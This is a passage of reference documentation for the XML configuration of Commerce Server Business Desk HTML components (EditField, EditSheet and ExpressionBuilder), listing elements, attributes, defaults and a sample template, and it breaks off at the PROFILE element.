XML Structure

<editfield>
  <boolean browse browsereadonly default disabled hide
           id onbrowse onchange onerror readonly
    <browsetooltip>Tooltip for browse button</browsetooltip>
    <label>Checkbox label</label>
  </boolean>
  <date browse browsereadonly default disabled firstday
        hide id max min onbrowse onchange onerror
        onrequire onvalid readonly required
    <browsetooltip>Tooltip for browse button</browsetooltip>
    <error>Validation error message</error>
    <format>Date format to use</format>
    <prompt>Empty control prompt</prompt>
  </date>
  <numeric browse browsereadonly default disabled hide id
           max min onbrowse onchange onerror onrequire
           onvalid readonly required subtype
    <browsetooltip>Tooltip for browse button</browsetooltip>
    <error>Validation error message</error>
    <format>Number format to use</format>
    <prompt>Empty control prompt</prompt>
  </numeric>
  <select browse browsereadonly default disabled hide
          htmloptions id multilingual onbrowse
          onchange onerror onvalid readonly
    <browsetooltip>Tooltip for browse button</browsetooltip>
    <prompt>Empty control prompt</prompt>
    <select id>
      <option value>Item display name</option>
    </select>
    ...
    <select id>
      <option value>Item display name</option>
    </select>
  </select>
  <text browse browsereadonly default disabled hide id
        maxlen minlen multilingual onbrowse onchange onerror
        onrequire onvalid readonly required subtype
    <browsetooltip>Tooltip for browse button</browsetooltip>
    <charmask>Validation character mask</charmask>
    <error>Validation error message</error>
    <prompt>Empty control prompt</name>
  </text>
  <time browse browsereadonly default disabled hide
        id max min onbrowse onchange onerror
        onrequire onvalid readonly required
    <browsetooltip>Tooltip for browse button</browsetooltip>
    <error>Validation error message</error>
    <prompt>Empty control prompt</prompt>
  </time>
</editfield>

editfield

This required element provides a container for the configuration data associated with one or more EditField HTCs. This allows multiple EditField HTCs to share a single XML editfield data-island, accessing different configuration information using distinct id attribute values.

Parent Element
None (document root).
Required Child Elements
None.
Optional Child Elements
boolean, date, numeric, select, text, time

(at least one is required; order not important)

Data
None.

Attributes

None.

Return to XML Structure

boolean

This optional element provides configuration and validation information about an EditField HTC of the Boolean type.

Parent Element
editfield
Required Child Elements
None.
Optional Child Elements
browsetooltip, label
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, onbrowse, onchange, onerror, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

date

This optional element provides configuration and validation information about an EditField HTC of the Date type.

Parent Element
editfield
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, format, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
firstday | Specifies the day of the week that is considered to be the first day of the week. Optional. Legal values: Integers between 0 (Sunday) and 6 (Saturday), inclusive. Default value: 0 (Sunday)

Return to XML Structure

numeric

This optional element provides configuration and validation information about an EditField HTC of the Numeric type.

Parent Element
editfield
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, format, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

select

This optional element provides configuration and validation information about an EditField HTC of the Select type.

Parent Element
editfield
Required Child Elements
select
Optional Child Elements
browsetooltip, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, htmloptions, multilingual, onbrowse, onchange, onerror, onvalid, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

text

This optional element provides configuration and validation information about an EditField HTC of the Text type.

Parent Element
editfield
Required Child Elements
None.
Optional Child Elements
browsetooltip, charmask, error, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, maxlen, minlen, multilingual, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

time

This optional element provides configuration and validation information about an EditField HTC of the Time type.

Parent Element
editfield
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Remarks

The format of fields associated with the time element is fixed. Hours and minutes are displayed in a 24-hour format, separated by the colon character (":"). Seconds are not supported.

Return to XML Structure

browsetooltip, charmask, error, format, label, prompt, select, option

These eight elements are used to qualify or extend the behavior of one or more of the EditField elements of various data types. For more information, see Shared EditField Child Elements.

Return to XML Structure


Shared EditField Child Elements

A number of elements specify EditField HTCs of different data types: boolean, date, numeric, select, text, and type. These elements may be present in the configuration information for EditField HTCs themselves. They may also be present in EditField HTCs embedded within the DynamicTable, EditSheet, and ListEditor HTCs. These shared elements include a number of child elements that alter or extend their behavior. The following table lists these child elements, and lists the EditField data types to which they apply.

EditField Child Elements | Relevant EditField Types
browsetooltip | boolean, date, numeric, select, text
charmask | text
error | date, numeric, text
format | date, numeric
label | boolean
name | boolean, date, numeric, select, text Required in the DynamicTable HTC; optional in the EditSheet and ListEditor HTCs; not applicable to the EditField HTC.
option | select Actually a child element of the select child element: <select> <select> <option>
prompt | date, numeric, select, text
select | select The option element is a child element of this element.
tooltip | boolean, date, numeric, select, text Optional in the EditSheet and ListEditor HTCs; not applicable in the DynamicTable and EditField HTCs.

browsetooltip

This optional element specifies a ToolTip for the browse button associated with an EditField HTC, whether embedded in another HTC or not.

Parent Elements
boolean, date, numeric, select, text, time

(can be a child of any of the element types shown)

Required Child Elements
None.
Optional Child Elements
None.
Data
The tooltip text.
Attributes
None.

Remarks

The browsetooltip element is ignored if a browse button is not specified.

Return to Shared Editfield Child Elements

charmask

This optional element provides a mask of characters, specified in VBScript regular expression syntax, which is used for input validation of text.

Parent Element
text
Required Child Elements
None.
Optional Child Elements
None.
Data
The charmask text, specified in VBScript regular expression syntax.
Attributes
None.

Remarks

The regular expression string provided as the data to the charmask element should be expressed such that valid input matches the regular expression, but that no sub-string of valid input matches the regular expression. One way to accomplish is by surrounding the specified regular expression with the regular expression symbols for the beginning of the expression (^) and the end of the expression ($).

The charmask element being present, but without any data, is treated the same as if it is not present.

If the charmask element is not present, the following default character mask is used for all three subtypes of the text element:

^[^<>&]*$

For more information about regular expressions, see http://go.microsoft.com/fwlink/?LinkId=5161

Return to Shared Editfield Child Elements

error

This optional element specifies an error message to be displayed to the user if data validation for the field fails.

Parent Elements
date, numeric, text, time

(can be a child of any of the element types shown)

Required Child Elements
None.
Optional Child Elements
None.
Data
The error message text.
Attributes
None.

Remarks

The error element is present, but without any data, and is treated the same as if it is not present.

If the error element is not present, the following default error messages are used for the various element types that use error messages.

Elements That Display Errors | Default Error Message
Date | Validation error in date (m/d/yyyy)
Numeric (Integer subtype) | Validation error in number
Numeric (Float subtype) | Validation error in float
Numeric (Currency subtype) | Validation error in currency
Text (all subtypes) | Validation error in text (cannot contain "<", ">", or "&")
Time | Validation error in time (hh:mm – 24hr)

The default error message for dates will show a different format if one is specified using the format element.

Return to Shared Editfield Child Elements

format

This optional element specifies valid input formats for a particular date or numeric EditField HTC, whether embedded in another HTC or not.

Parent Elements
date, numeric

(can be a child of either of the element types shown)

Required Child Elements
None.
Optional Child Elements
None.
Data
The format specification text.
Attributes
None.

Remarks

Valid formats for dates are "m/d/yyyy", "d/m/yyyy", and "yyyy/m/d". The default is "m/d/yyyy". The separator can be specified as any of the following three characters: forward slash ("/"), hyphen ("-"), and period ("."). The default separator is forward slash ("/"). Any number of the characters "m", "d", and "y" may be specified without affecting displayed dates; months and days will never be displayed with leading zeros, and years will always be displayed using four digits.

Valid formats for numbers depend on the subtype of number being displayed: integer, float, or currency. The following table describes valid formats for each.

Numeric Subtype Numeric Formats
integer A string that specifies the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), or it can be parentheses around the number.

Even though the format is specified as a decimal number, values that are not whole numbers cannot be entered into the HTC when the subtype is "integer".

Examples:

1.1 -1.1 1.1- (1.1)
float A string that specifies the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), or it can be parentheses around the number.

Examples:

1.1 -1.1 1.1- (1.1)
currency A string that specifies the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), or it can be parentheses around the number.

No currency symbol should be specified as part of this format.

Examples:

1.1 -1.1 1.1- (1.1)

Return to Shared Editfield Child Elements

label

This optional element provides text to be displayed after the checkbox in a Boolean EditField HTC, whether embedded in another HTC or not.

Parent Element
boolean
Required Child Elements
None.
Optional Child Elements
None.
Data
The check box label text.
Attributes
None.

Remarks

When the label element is absent, the check box will be labeled with the word "Yes" by default.

Return to Shared Editfield Child Elements

name

This element, which is required in some circumstances (see table in Notes), specifies the name associated with an EditField HTC in some situations where it is embedded in another HTC.

Parent Elements
boolean, date, numeric, select, text, time

(can be a child of either of the element types shown)

Required Child Elements
None.
Optional Child Elements
None.
Data
The EditField HTC name.
Attributes
None.

Remarks

The following table shows the situations in which the name element is used, including whether it is required or optional.

HTC with embedded EditFields | Use of the <name> element
DynamicTable | The value of the name element is used as the name of the column associated with the containing element. The name element is required in this situation.
EditSheet | When no template element is specified, the value of the name element is used as the name displayed to the left of the embedded EditField HTC. The name element is optional in this situation. If no name is specified, the field is displayed without a label.
ListEditor | The value of the name element is used as the name displayed to the left of the embedded EditField HTC in the edit area of the ListEditor HTC. The name element is optional in this situation. If no name is specified, the field is displayed without a label.

If the hide attribute of the containing element is set to "yes", the name element is superfluous and need not be present.

Return to Shared Editfield Child Elements

option

This required element specifies the display name and the underlying value for a multiple choice EditField HTC, whether embedded in another HTC or not.

Parent Element
select
(which is itself a child of the higher level select element)
Required Child Elements
None.
Optional Child Elements
None.
Data
The text to be displayed in the selection drop down list. If the htmloptions attribute is set to "yes", HTML elements can be embedded in this text to provide a richer user experience. For example, an IMG element could be included to provide an icon with the text.

Attributes

Attribute | Description
value | Specifies the value associated with a particular choice. Required. Legal values: Any. Default value: None. It is up to the author of the XML configuration information to ensure that no two value attribute values for the option elements within the same select element are the same. The Commerce Server Business Desk Framework performs no uniqueness checking in this regard.

Remarks

At least one option element is required, and in general, at least two option elements will be specified.

If an option element is specified with a value attribute set to an empty string, then that option is considered the chosen option when the field is empty.

The select field will display its prompt whenever the current data value does not correspond to the value attribute value of any of the option elements.

Return to Shared Editfield Child Elements

prompt

This optional element provides text to be displayed within an EditField HTC, whether embedded in another HTC or not, when there is no value present. The purpose of such text is to prompt the user for input. Once the user begins entering data, the prompt is replaced by that data.

Parent Elements
date, numeric, select, text, time

(can be a child of either of the element types shown)

Required Child Elements
None.
Optional Child Elements
None.
Data
The prompt text.
Attributes
None.

Remarks

When the prompt element is absent, a default prompt is displayed. To avoid having a prompt displayed, an empty prompt element must be present.

The following table shows the default prompts for the different types of EditField HTCs.

Type of EditField HTC | Default Prompt
boolean | None.
date | <enter date (m/d/yyyy)>.
numeric | <enter number>
select | <select one>
text | <enter text>
time | <enter time (hh:mm)>

The default prompt for dates will show a different format if one is specified using the format element.

Return to Shared Editfield Child Elements

select

This required element contains a set of choices that are available for a multiple choice EditField HTC, whether embedded in another HTC or not. These choices are expressed as a set of option elements.

Parent Element
select
(the higher-level select element )
Required Child Elements
option
(at least one)
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
id | Specifies an identifier for this select element. Required, unless there are no sibling select elements. Legal values: Must be unique with respect to the id attributes of any sibling select elements. Default value: None. The value of this attribute can be used as the value of the sID parameter to the reload method of the EditField HTC to dynamically change the set of choices offered to those specified by the child option elements of this select element. (Use the field method of the DynamicTable HTC to retrieve the EditField HTC for which the reload method will be called.)

Remarks

At least one select element is required, but more than one select element may be supplied for situations where the set of choices changes based on some other control setting or circumstance.

Return to Shared Editfield Child Elements

tooltip

This optional element specifies a ToolTip for the left-hand column label, if any, associated with an EditField HTC that is embedded within an EditSheet or ListEditor HTC.

Parent Elements
boolean, date, numeric, select, text, time
(can be a child of either of the element types shown)
Required Child Elements
None.
Optional Child Elements
None.
Data
The ToolTip text.
Attributes
None.

Return to Shared Editfield Child Elements


Shared EditField Attributes

The following table shows the attributes of the various types of EditField elements that are shared.

Attribute
Applicable EditField Types
Description
browse Boolean, Date, Numeric, Select, Text, Time Specifies that a browse button will be available for use with this field.

Optional.

Legal values: "yes" and "no". A value of "yes" specifies that browsing is provided for this field.

Default value: "no".

For more information about the various attributes that work together to control browsing, see EditField.
browsereadonly Boolean, Date, Numeric, Select, Text, Time Specifies whether browsing will be the only way to specify a value for this field.

Optional.

Legal values: "yes" and "no". A value of "yes" specifies that browsing is the only way to provide a value for this field.

Default value: "no".

For more information about the various attributes that work together to control browsing, see EditField.
default Boolean, Date, Numeric, Select, Text, Time Specifies a default value for this field when the data passed to it is an empty string.

Optional.

Legal values: Depend on the type of the field, and are validated in the same way as values passed in as data.

Default value: None.
disabled Boolean, Date, Numeric, Select, Text, Time Specifies whether this field is disabled.

Optional.

Legal values: "yes" and "no". A value of "yes" specifies that this field is disabled.

Default value: "no".
hide Boolean, Date, Numeric, Select, Text, Time Specifies whether display of the field should be suppressed.

Optional.

Legal values: "yes" and "no". A value of "yes" suppresses the display of the field.

Default value: "no".
htmloptions Select Specifies whether the option node data should be displayed as HTML or plain text.

Optional.

Legal values: "yes" and "no". A value of “yes” will display HTML markup like bold and italic as option display values. Even images can be displayed in this way.

Default value: "no".
id Boolean, Date, Numeric, Select, Text, Time Provides an identifier used to associate this field with the corresponding data in the DataXML container attribute.

Required.

Legal values: Must be unique relative to the other id attribute values within the current HTC.

Default value: None.
max Date, Numeric, Time Provides a maximum value that is used when validating field input.

Optional.

Legal values: Must match the specified data format, if any.

Default value: None.
maxlen Text Provides the maximum length of input allowed in a text field, specified in characters.

Optional.

Legal values: Positive integers.

Default value: None.
min Date, Numeric, Time Provides a minimum value that is used when validating field input.

Optional.

Legal values: Must match the specified data format, if any.

Default value: None.
minlen Text Provides the minimum length of input allowed in a text field, specified in characters.

Optional.

Legal values: Positive integers.

Specifying a positive integer as the value of the minlen attribute also forces the field to be required.
multilingual Select, Text Specifies whether to display a multilingual icon (a globe) on the corresponding input field, indicating that multilingual input is supported.

Optional.

Legal values: "yes" and "no". A value of "yes" will display a multilingual icon (a globe) to the right of the control.

Default value: "no".
onbrowse Boolean, Date, Numeric, Select, Text, Time Specifies the function name of the browse handler.

Optional.

Legal values: Must specify a valid function name.

Default value: None.

If this attribute is set, the browse attribute need not be set.

For more information about the various attributes that work together to control browsing, see EditField.
onchange Boolean, Date, Numeric, Select, Text, Time Specifies the function name of the change handler.

Optional.

Legal values: Must specify a valid function name.

Default value: None.
onerror Boolean, Date, Numeric, Select, Text, Time Specifies the function name of the error handler.

Optional.

Legal values: Must specify a valid function name.

Default value: None.
onrequire Date, Numeric, Text, Time Specifies the function name of the require handler.

Optional.

Legal values: Must specify a valid function name.

Default value: None.
onvalid Date, Numeric, Select, Text, Time Specifies the function name of the valid handler.

Optional.

Legal values: Must specify a valid function name.

Default value: None.
readonly Boolean, Date, Numeric, Select, Text, Time Specifies whether this field is read-only.

Optional.

Legal values: "yes" and "no". A value of "yes" prevents the field value from being changed.

Default value: "no".
required Date, Numeric, Text, Time Specifies whether data must be supplied for this field.

Optional.

Legal values: "yes" and "no". A value of "yes" specifies that data must be supplied.

Default value: "no".
subtype Numeric, Text Specifies further refinement of the data type specified by the element containing this attribute.

Optional.

Legal values:

numeric: "integer", "float", "currency"

text: "short", "long", "password"

Default value:

numeric: "integer"

text: "short"


EditSheet Configuration

The XML data-island identified by the MetaXML container attribute contains the configuration information used by the EditSheet HTML component (HTC).

For more information about how an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

Note

  • The XML elements and attributes in the MetaXML data-island for the EditSheet HTC must be expressed in lowercase letters.

XML Structure

<editsheets>
  <editsheet>
    <global expanded title>
      <name>Editsheet name goes here<name>
      <key>Access key for editsheet goes here</key>
    </global>
    <template fields register>
      <![CDATA[
        HTML template goes here
      ]]>
    </template>
    <fields>
      <boolean browse browsereadonly default disabled hide
               id onbrowse onchange onerror readonly
        <browsetooltip>Tooltip for browse button</browsetooltip>
        <name>Name of field in left-hand column</name>
        <label>Checkbox label</label>
        <tooltip>Tooltip for left-hand column label</tooltip>
      </boolean>
      <date browse browsereadonly default disabled firstday
            hide id max min onbrowse onchange onerror
            onrequire onvalid readonly required
        <browsetooltip>Tooltip for browse button</browsetooltip>
        <format>Date format to use</format>
        <error>Name of field in left-hand column</error>
        <name>Column heading name</name>
        <prompt>Empty control prompt</prompt>
        <tooltip>Tooltip for left-hand column label</tooltip>
      </date>
      <numeric browse browsereadonly default disabled hide id
               max min onbrowse onchange onerror onrequire
               onvalid readonly required subtype
        <browsetooltip>Tooltip for browse button</browsetooltip>
        <format>Number format to use</format>
        <error>Validation error message</error>
        <name>Name of field in left-hand column</name>
        <prompt>Empty control prompt</prompt>
        <tooltip>Tooltip for left-hand column label</tooltip>
      </numeric>
      <select browse browsereadonly default disabled hide
              htmloptions id multilingual onbrowse
              onchange onerror onvalid readonly
        <browsetooltip>Tooltip for browse button</browsetooltip>
        <name>Name of field in left-hand column</name>
        <prompt>Empty control prompt</prompt>
        <tooltip>Tooltip for left-hand column label</tooltip>
        <select id>
          <option value>Item display name</option>
        </select>
        ...
        <select id>
          <option value>Item display name</option>
        </select>
      </select>
      <text browse browsereadonly default disabled hide id
            maxlen minlen multilingual onbrowse onchange onerror
            onrequire onvalid readonly required subtype
        <browsetooltip>Tooltip for browse button</browsetooltip>
        <charmask>Validation character mask</charmask>
        <error>Validation error message</error>
        <name>Name of field in left-hand column</name>
        <prompt>Empty control prompt</prompt>
        <tooltip>Tooltip for left-hand column label</tooltip>
      </text>
      <time browse browsereadonly default disabled hide
            id max min onbrowse onchange onerror
            onrequire onvalid readonly required
        <browsetooltip>Tooltip for browse button</browsetooltip>
        <error>Validation error message</error>
        <name>Name of field in left-hand column</name>
        <prompt>Empty control prompt</prompt>
        <tooltip>Tooltip for left-hand column label</tooltip>
      </time>
    </fields>
  </editsheet>
  <editsheet>
    another editsheet specification goes here
  </editsheet>
</editsheets>

editsheets

This optional element is used to contain multiple editsheet elements, if present. Otherwise a single editsheet element is used.

Parent Element
None (document root).
Required Child Elements
editsheet

(at least one is required, but normally two or more are present)

Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

editsheet

This required element contains the configuration information for a single EditSheet HTC.

Parent Elements
None (document root), editsheets
(can be one or the other)
Required Child Elements
global, fields
Optional Child Elements
template
Data
None.
Attributes
None.

Remarks

It can be used as the sole child of the XML data-island when a single EditSheet HTC is being used, or can occur within the editsheets element when configured as one of several EditSheet HTCs.

For more information about how an XML document can be included on a page (creating an XML data-island) see XML Data-Islands.

Return to XML Structure

global

This required element specifies global information about the display of an EditSheet HTC.

Parent Element
editsheet
Required Child Elements
name, key

(Required in some circumstances)

Optional Child Elements
name, key

(Optional in some circumstances)

Data
None.

Attributes

Attribute | Description
expanded | Specifies whether the EditSheet HTC is initially displayed as open or closed. Optional. Legal values: "yes" and "no". A value of "yes" causes the EditSheet HTC to initially display as open. Default value: "no". The value of this attribute is irrelevant if the title attribute is set to "no".
title | Controls whether the EditSheet HTC is shown with a title bar containing the expand/collapse control and its name. Optional. Legal values: "yes" and "no". A value of "no" suppresses the display of the title bar. Default value: "yes". If the title attribute is set to "no", then the expanded attribute is automatically set to "yes". Also, if the title attribute is set to "no", then the name and key (sub) elements need not be specified.

Return to XML Structure

name

This element, which is required in some circumstances, provides the name of the EditSheet HTC.

Parent Element
global
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of the editsheet.

Attributes

None.

Remarks

This name is sometimes called the group name.

This name is typically displayed in the title bar. This behavior can be suppressed by setting the title attribute to "no"; in this case this element is not required. If the title attribute of the containing global element is not set to "no", this element is required.

If the specific EditSheet name contains any HTML formatting directives, proper escaping must be used. For example, the string &lt; must be used for the "<" character, the string &gt; must be used for the ">" character, and the string &amp; must be used for the "&" character.

Return to XML Structure

key

This element, which is required in some circumstances, specifies a character that serves as the accessibility key associated with the EditSheet HTC.

Parent Element
global
Required Child Elements
None.
Optional Child Elements
None.
Data
The accessibility key, as indicated in the editsheet name with underlining.

Attributes

None.

Remarks

If the title attribute of the containing global element is not set to "no", this element is required.

The accessibility key for the EditSheet HTC must specify the same character identified with underlining in the EditSheet name, if any.

For example, if the EditSheet name is specified such that the user sees the string "Department", the character "d" must appear between the <key> and </key> tags.

Return to XML Structure

template

This optional element contains an HTML template for the EditSheet HTC that can contain sub-instances of Commerce Server Business Desk HTCs within it, often EditSheet and EditField HTCs.

Parent Element
editsheet
Required Child Elements
None.
Optional Child Elements
None.
Data
An HTML template expressed as character data (CDATA).

Attributes

Attribute | Description
fields | Specifies a space-delimited list of the IDs of any contained EditField HTCs that should be loaded using the same data and metadata as the parent EditSheet HTC. Optional. Legal values: Valid IDs of contained EditField HTCs, separated by spaces. Default value: None. When the EditSheet HTC creates the template, it will attach the correct behavior for those EditField HTCs and also enable their OnChange, OnValid, and OnRequire events to be passed to the outer EditSheet HTC. These EditField HTCs should not have the CLASS attribute value "EditField" set on their DIV element.
register | Specifies a space-delimited list of the IDs of any contained HTCs that should have their OnChange, OnValid, and OnRequire events passed to the outer EditSheet HTC. Optional. Legal values: Valid IDs of contained HTCs, separated by spaces. Default value: None. Standard HTML input elements can also be registered so that their OnChange events will be passed to the outer EditSheet HTC. However, it is important to remember that HTML radio and check box type input elements do not fire the OnChange event.

Remarks

The register attribute is used to allow OnChange and OnRequire events generated by these sub-controls to be passed to the outer EditSheet HTC.

The fields attribute is used to create EditField HTCs for elements within the template without requiring that the EditField HTCs load their own metadata.

Passing the OnRequire event to the outer EditSheet HTC allows the icon indicating required data to be displayed for templated sub-controls.

Passing the OnValid event to the outer EditSheet HTC allows the icon that indicates data is not valid to be displayed for templated sub-controls.

Passing the OnChange event to the outer EditSheet HTC allows proper tracking of whether changes have been made.

The following example illustrates how to create a template that contains an EditSheet HTC, an EditField HTC, and a check box as sub-controls. Note how the IDs of the EditSheet and EditField HTCs are specified in the fields and register attributes of the template element:

  <template fields="esSubControl2" register="esSubControl1">
    <![CDATA[
      <DIV ID='esSubControl1'
           CLASS='editSheet'
           MetaXML='esMeta1'
           DataXML='esData'>
        <H3 ALIGN="center">Loading Property Group...</H3>
      </DIV>
      <B>File Name 5:</B>
      <DIV ID='esSubControl2'
           STYLE='WIDTH:300px'
           MetaXML='esMeta1'
           DataXML='esData'>
        <H3 ALIGN="center">Loading Property...</H3>
      </DIV>
      <INPUT type="checkbox" id=checkbox1 name=checkbox1>
      <LABEL FOR=checkbox1>additional HTML controls</LABEL>
    ]]>
  </template>

Return to XML Structure

fields

This required element contains the elements that specify the fields to be displayed in the EditSheet HTC.

Parent Element
editsheet
Required Child Elements
None.
Optional Child Elements
boolean, date, numeric, select, text, time
Data
None.
Attributes
None.

Remarks

When the template element is not present, elements defined within the fields element are displayed as rows in the EditSheet HTC, in the order in which they appear within the fields element. For example, the first element defines the top row and the last element defines the bottom row.

The child elements of the fields element are essentially the same as the elements that can be defined as child elements of the editfield element in the configuration data for the EditField HTC. The primary difference is that child elements of the fields element in the EditSheet HTC can include additional child elements, namely the name and tooltip elements. For information about shared attributes, see Shared EditField Attributes.

Return to XML Structure

boolean

This optional element provides configuration and validation information about a particular field in an EditSheet HTC containing a Boolean value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, label, name, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, onbrowse, onchange, onerror, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

date

This optional element provides configuration and validation information about a particular field in an EditSheet HTC containing a date value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, format, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
firstday | Specifies the day of the week that is considered to be the first day of the week. Optional. Legal values: Integers between 0 (Sunday) and 6 (Saturday), inclusive. Default value: 0 (Sunday)

Return to XML Structure

numeric

This optional element provides configuration and validation information about a particular field in an EditSheet HTC containing a numeric value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, format, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

select

This optional element provides configuration and validation information about a particular field in an EditSheet HTC containing a fixed set of choices.

Parent Element
fields
Required Child Elements
select (at least one, but generally two or more)
Optional Child Elements
browsetooltip, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, htmloptions, multilingual, onbrowse, onchange, onerror, onvalid, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

text

This optional element provides configuration and validation information about a particular field in an EditSheet HTC containing a text value.

Parent Element
fields
Required Child Elements
name
Optional Child Elements
browsetooltip, charmask, error, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, maxlen, minlen, multilingual, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

time

This optional element provides configuration and validation information about a particular field in an EditSheet HTC containing a time value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
Remarks

The format of fields associated with the time element is fixed. Hours and minutes are displayed in a 24-hour format, separated by the colon character (":"). Seconds are not supported.

Return to XML Structure

browsetooltip, charmask, error, format, label, name, option, prompt, select, tooltip

These ten elements are used to qualify or extend the behavior of one or more of the EditField elements of various data types, embedded within the EditSheet HTC. For more information, see Shared EditField Child Elements.

Return to XML Structure


ExpressionBuilder Configuration

The XML data-island identified by the XMLCfgID container attribute contains the configuration information used by the ExpressionBuilder HTML component (HTC).

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The ExpressionBuilder HTC includes an embedded QueryBuilder HTC. Because of this, a number of the configuration elements passed to the ExpressionBuilder HTC are actually used by the embedded QueryBuilder HTC. Each of the elements discussed in this topic will be identified as being used to configure the ExpressionBuilder HTC, the embedded QueryBuilder HTC, or both.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

Note

  • The XML elements and attributes in the MetaXML data-island for the ExpressionBuilder HTC must be expressed in uppercase letters.

XML Structure

<EBCONFIG>
  <EXPR-ASP>relative URL of exprarch folder</EXPR-ASP>
  <PROFILE-LIST>
    <PROFILE>profile name</PROFILE>
    <PROFILE SRC />
  </PROFILE-LIST>
  <SITE-TERMS URL NOLOAD />
  <EEE-INTRINSICS />
  <DEBUG />
  <RENAME>no</RENAME>
  <HIDEBUTTONS />
  <TYPESOPS>path to xml file</TYPEOPS>
  <MESSAGE>alternate message</MESSAGE>
  <FILTER-CATEGORIES>
    <CATEGORY>category name</CATEGORY>
  </FILTER-CATEGORIES>
  <SAVE-CATEGORY>save category name</SAVE-CATEGORY>
  <EDIT-NESTED>always, warn, or never</EDIT-NESTED>
  <DATE-FORMAT>date format</DATE-FORMAT>
  <DATE-FIRSTDAY>first day of week</DATE-FIRSTDAY>
  <NUMBER-FORMAT>number format</NUMBER-FORMAT>
  <CURRENCY-FORMAT>currency format</CURRENCY-FORMAT>
  <HELPTOPIC>help topic URL</HELPTOPIC>
  <ADVANCED />
  <FILTER-PROPERTIES>XSL expression</FILTER-PROPERTIES>
</EBCONFIG>

EBCONFIG

This required element contains the configuration information for an instance of the ExpressionBuilder HTC.

Parent Element
None (document root)
Required Child Elements
EXPR-ASP, PROFILE-LIST
Optional Child Elements
ADVANCED, CURRENCY-FORMAT, DATE-FIRSTDAY, DATE-FORMAT, DEBUG, EDIT-NESTED, EEE-INTRINSICS, FILTER-CATEGORIES, FILTER-PROPERTIES, HELPTOPIC, HIDEBUTTONS, MESSAGE, NUMBER-FORMAT, RENAME, SAVE-CATEGORY, SITE-TERMS, TYPESOPS
Data
None.
Attributes
None.

Remarks

The EBCONFIG element is used by both the ExpressionBuilder HTC and the embedded QueryBuilder HTC.

Return to XML Structure

EXPR-ASP

This required element specifies the relative URL of the Exprarch folder, which is required for the proper functioning of the ExpressionBuilder HTC.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The relative URL of the Exprarch folder.
Attributes
None.

Remarks

The EBCONFIG element is used by both the ExpressionBuilder HTC and the embedded QueryBuilder HTC.

Return to XML Structure

PROFILE-LIST

This required element contains the specifications of the various profiles used by this instance of the ExpressionBuilder HTC.

Parent Element
EBCONFIG
Required Child Elements
PROFILE (at least one is required)
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

The PROFILE-LIST element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

PROFILE

